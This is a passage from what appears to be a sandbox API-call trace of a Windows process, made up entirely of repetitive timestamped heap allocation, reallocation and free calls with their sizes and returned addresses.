Flags=0x0, Size=0x8) returned 0x2ad6408 [0071.967] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad65b8, Size=0x14) returned 0x2a1f818 [0071.967] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6408 | out: hHeap=0x2ad0000) returned 1 [0071.967] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0538 | out: hHeap=0x2ad0000) returned 1 [0071.967] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0520 | out: hHeap=0x2ad0000) returned 1 [0071.967] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64c8 | out: hHeap=0x2ad0000) returned 1 [0071.967] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f818 | out: hHeap=0x2ad0000) returned 1 [0071.967] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64c8 [0071.968] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2ad0520 [0071.968] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad0540 [0071.968] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6518 [0071.968] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64e8 [0071.968] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6518, Size=0x14) returned 0x2a1f818 [0071.968] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64e8 | out: hHeap=0x2ad0000) returned 1 [0071.968] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0540 | out: hHeap=0x2ad0000) returned 1 [0071.968] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0520 | out: hHeap=0x2ad0000) returned 1 [0071.968] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64c8 | out: hHeap=0x2ad0000) returned 1 [0071.968] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f818 | out: hHeap=0x2ad0000) returned 1 [0071.968] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad0520 [0071.968] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6468 [0071.968] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2ad0538 [0071.968] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1f818 [0071.968] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6568 [0071.968] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6548 [0071.968] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6568, Size=0x14) returned 0x2a1f830 [0071.968] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6548 | out: hHeap=0x2ad0000) returned 1 [0071.968] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f818 | out: hHeap=0x2ad0000) returned 1 [0071.968] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0538 | out: hHeap=0x2ad0000) returned 1 [0071.968] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6468 | out: hHeap=0x2ad0000) returned 1 [0071.968] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f830 | out: hHeap=0x2ad0000) returned 1 [0071.968] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad0538 [0071.968] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6478 [0071.968] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1c) returned 0x2a1f818 [0071.968] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1f840 [0071.968] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad63f8 [0071.968] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64a8 [0071.968] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad63f8, Size=0x14) returned 0x2a1f858 [0071.968] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64a8 | out: hHeap=0x2ad0000) returned 1 [0071.968] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f840 | out: hHeap=0x2ad0000) returned 1 [0071.968] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f818 | out: hHeap=0x2ad0000) returned 1 [0071.968] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6478 | out: hHeap=0x2ad0000) returned 1 [0071.968] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f858 | out: hHeap=0x2ad0000) returned 1 [0071.968] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1f818 [0071.968] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6558 [0071.969] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a1f830 [0071.969] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1f850 [0071.969] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6428 [0071.969] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad65b8 [0071.969] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6428, Size=0x14) returned 0x2a1f868 [0071.969] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad65b8 | out: hHeap=0x2ad0000) returned 1 [0071.969] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f850 | out: hHeap=0x2ad0000) returned 1 [0071.969] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f830 | out: hHeap=0x2ad0000) returned 1 [0071.969] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6558 | out: hHeap=0x2ad0000) returned 1 [0071.969] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f868 | out: hHeap=0x2ad0000) returned 1 [0071.969] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6408 [0071.969] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a1f830 [0071.969] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1f850 [0071.969] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6478 [0071.969] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6538 [0071.969] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6478, Size=0x14) returned 0x2a1f868 [0071.969] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6538 | out: hHeap=0x2ad0000) returned 1 [0071.969] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f850 | out: hHeap=0x2ad0000) returned 1 [0071.969] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f830 | out: hHeap=0x2ad0000) returned 1 [0071.969] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6408 | out: hHeap=0x2ad0000) returned 1 [0071.969] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f868 | out: hHeap=0x2ad0000) returned 1 [0071.969] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64a8 [0071.969] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a1f830 [0071.969] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1f850 [0071.969] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad63f8 [0071.969] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6578 [0071.969] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad63f8, Size=0x14) returned 0x2a1f868 [0071.969] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6578 | out: hHeap=0x2ad0000) returned 1 [0071.969] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f850 | out: hHeap=0x2ad0000) returned 1 [0071.969] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f830 | out: hHeap=0x2ad0000) returned 1 [0071.969] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64a8 | out: hHeap=0x2ad0000) returned 1 [0071.969] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f868 | out: hHeap=0x2ad0000) returned 1 [0071.969] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6488 [0071.969] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a1f830 [0071.969] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1f850 [0071.969] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6458 [0071.970] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64a8 [0071.970] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6458, Size=0x14) returned 0x2a1f868 [0071.970] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64a8 | out: hHeap=0x2ad0000) returned 1 [0071.970] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f850 | out: hHeap=0x2ad0000) returned 1 [0071.970] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f830 | out: hHeap=0x2ad0000) returned 1 [0071.970] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6488 | out: hHeap=0x2ad0000) returned 1 [0071.970] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f868 | out: hHeap=0x2ad0000) returned 1 [0071.970] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6428 [0071.970] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1c) returned 0x2a1fab0 [0071.970] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fc38 [0071.970] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad65a8 [0071.970] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6488 [0071.970] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad65a8, Size=0x14) returned 0x2a1fc50 [0071.970] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6488 | out: hHeap=0x2ad0000) returned 1 [0071.970] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fc38 | out: hHeap=0x2ad0000) returned 1 [0071.970] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fab0 | out: hHeap=0x2ad0000) returned 1 [0071.970] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6428 | out: hHeap=0x2ad0000) returned 1 [0071.970] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fc50 | out: hHeap=0x2ad0000) returned 1 [0071.970] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a12ac8 [0071.970] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6548 [0071.971] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1c) returned 0x2a1f9e8 [0071.971] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fc38 [0071.971] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6418 [0071.971] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64d8 [0071.971] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6418, Size=0x14) returned 0x2a1fc50 [0071.971] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64d8 | out: hHeap=0x2ad0000) returned 1 [0071.971] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fc38 | out: hHeap=0x2ad0000) returned 1 [0071.971] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f9e8 | out: hHeap=0x2ad0000) returned 1 [0071.971] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6548 | out: hHeap=0x2ad0000) returned 1 [0071.971] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fc50 | out: hHeap=0x2ad0000) returned 1 [0071.971] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6518 [0071.971] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f880 [0071.971] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fc38 [0071.971] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad64e8 [0071.971] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6578 [0071.971] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad64e8, Size=0x14) returned 0x2a1fc50 [0071.971] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fc50, Size=0x24) returned 0x2a1fc50 [0071.971] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6578 | out: hHeap=0x2ad0000) returned 1 [0071.971] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fc38 | out: hHeap=0x2ad0000) returned 1 [0071.971] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f880 | out: hHeap=0x2ad0000) returned 1 [0071.971] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6518 | out: hHeap=0x2ad0000) returned 1 [0071.971] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fc50 | out: hHeap=0x2ad0000) returned 1 [0071.971] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fc38 [0071.971] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6568 [0071.971] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fab0 [0071.971] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fc50 [0071.971] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad64c8 [0071.971] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64a8 [0071.971] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad64c8, Size=0x14) returned 0x2a1fc68 [0071.971] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fc68, Size=0x24) returned 0x2a1fc68 [0071.971] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64a8 | out: hHeap=0x2ad0000) returned 1 [0071.972] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fc50 | out: hHeap=0x2ad0000) returned 1 [0071.972] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fab0 | out: hHeap=0x2ad0000) returned 1 [0071.972] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6568 | out: hHeap=0x2ad0000) returned 1 [0071.972] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fc68 | out: hHeap=0x2ad0000) returned 1 [0071.972] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a12630 [0071.972] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6548 [0071.972] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x24) returned 0x2a1fc50 [0071.972] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fd98 [0071.972] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad64b8 [0071.972] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6438 [0071.972] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad64b8, Size=0x14) returned 0x2a1fe88 [0071.972] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fe88, Size=0x24) returned 0x2a1fe88 [0071.972] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6438 | out: hHeap=0x2ad0000) returned 1 [0071.972] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fd98 | out: hHeap=0x2ad0000) returned 1 [0071.972] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fc50 | out: hHeap=0x2ad0000) returned 1 [0071.972] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6548 | out: hHeap=0x2ad0000) returned 1 [0071.972] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fe88 | out: hHeap=0x2ad0000) returned 1 [0071.972] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fd20 [0071.972] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6418 [0071.972] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1c) returned 0x2a1fa88 [0071.972] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fd68 [0071.972] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6478 [0071.972] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad65b8 [0071.972] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6478, Size=0x14) returned 0x2a1fc50 [0071.972] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad65b8 | out: hHeap=0x2ad0000) returned 1 [0071.972] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fd68 | out: hHeap=0x2ad0000) returned 1 [0071.972] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fa88 | out: hHeap=0x2ad0000) returned 1 [0071.973] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6418 | out: hHeap=0x2ad0000) returned 1 [0071.973] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fc50 | out: hHeap=0x2ad0000) returned 1 [0071.973] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6508 [0071.973] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1c) returned 0x2a1f9c0 [0071.973] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fe10 [0071.973] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad65c8 [0071.973] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6598 [0071.973] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad65c8, Size=0x14) returned 0x2a1fc50 [0071.973] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6598 | out: hHeap=0x2ad0000) returned 1 [0071.973] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fe10 | out: hHeap=0x2ad0000) returned 1 [0071.973] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f9c0 | out: hHeap=0x2ad0000) returned 1 [0071.973] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6508 | out: hHeap=0x2ad0000) returned 1 [0071.973] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fc50 | out: hHeap=0x2ad0000) returned 1 [0071.973] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1f818, Size=0x20) returned 0x2a1fc50 [0071.973] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6568 [0071.973] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fb28 [0071.973] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fca8 [0071.973] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6518 [0071.973] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6468 [0071.973] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6518, Size=0x14) returned 0x2a1fe88 [0071.973] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fe88, Size=0x24) returned 0x2a1fe88 [0071.973] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6468 | out: hHeap=0x2ad0000) returned 1 [0071.973] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fca8 | out: hHeap=0x2ad0000) returned 1 [0071.973] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fb28 | out: hHeap=0x2ad0000) returned 1 [0071.973] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6568 | out: hHeap=0x2ad0000) returned 1 [0071.973] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fe88 | out: hHeap=0x2ad0000) returned 1 [0071.973] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fdc8 [0071.973] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6438 [0071.973] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1c) returned 0x2a1fb50 [0071.973] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fd38 [0071.973] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad64e8 [0071.973] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64f8 [0071.973] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad64e8, Size=0x14) returned 0x2a1fe88 [0071.974] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64f8 | out: hHeap=0x2ad0000) returned 1 [0071.974] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fd38 | out: hHeap=0x2ad0000) returned 1 [0071.974] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fb50 | out: hHeap=0x2ad0000) returned 1 [0071.974] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6438 | out: hHeap=0x2ad0000) returned 1 [0071.974] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fe88 | out: hHeap=0x2ad0000) returned 1 [0071.974] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6588 [0071.974] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fb00 [0071.974] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fe58 [0071.974] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6468 [0071.974] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6478 [0071.974] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6468, Size=0x14) returned 0x2a1fe88 [0071.974] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fe88, Size=0x24) returned 0x2a1fe88 [0071.974] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6478 | out: hHeap=0x2ad0000) returned 1 [0071.974] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fe58 | out: hHeap=0x2ad0000) returned 1 [0071.974] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fb00 | out: hHeap=0x2ad0000) returned 1 [0071.974] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6588 | out: hHeap=0x2ad0000) returned 1 [0071.974] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fe88 | out: hHeap=0x2ad0000) returned 1 [0071.974] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fd38 [0071.974] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6418 [0071.974] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1c) returned 0x2a1f858 [0071.974] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fca8 [0071.974] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6488 [0071.974] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6508 [0071.974] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6488, Size=0x14) returned 0x2a1fe88 [0071.974] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6508 | out: hHeap=0x2ad0000) returned 1 [0071.974] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fca8 | out: hHeap=0x2ad0000) returned 1 [0071.974] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f858 | out: hHeap=0x2ad0000) returned 1 [0071.974] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6418 | out: hHeap=0x2ad0000) returned 1 [0071.974] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fe88 | out: hHeap=0x2ad0000) returned 1 [0071.974] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a12320 [0071.974] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad65c8 [0071.974] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1c) returned 0x2a1fa60 [0071.974] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fd80 [0071.974] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6458 [0071.974] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad65a8 [0071.974] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6458, Size=0x14) returned 0x2a1fe88 [0071.974] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad65a8 | out: hHeap=0x2ad0000) returned 1 [0071.975] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fd80 | out: hHeap=0x2ad0000) returned 1 [0071.975] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fa60 | out: hHeap=0x2ad0000) 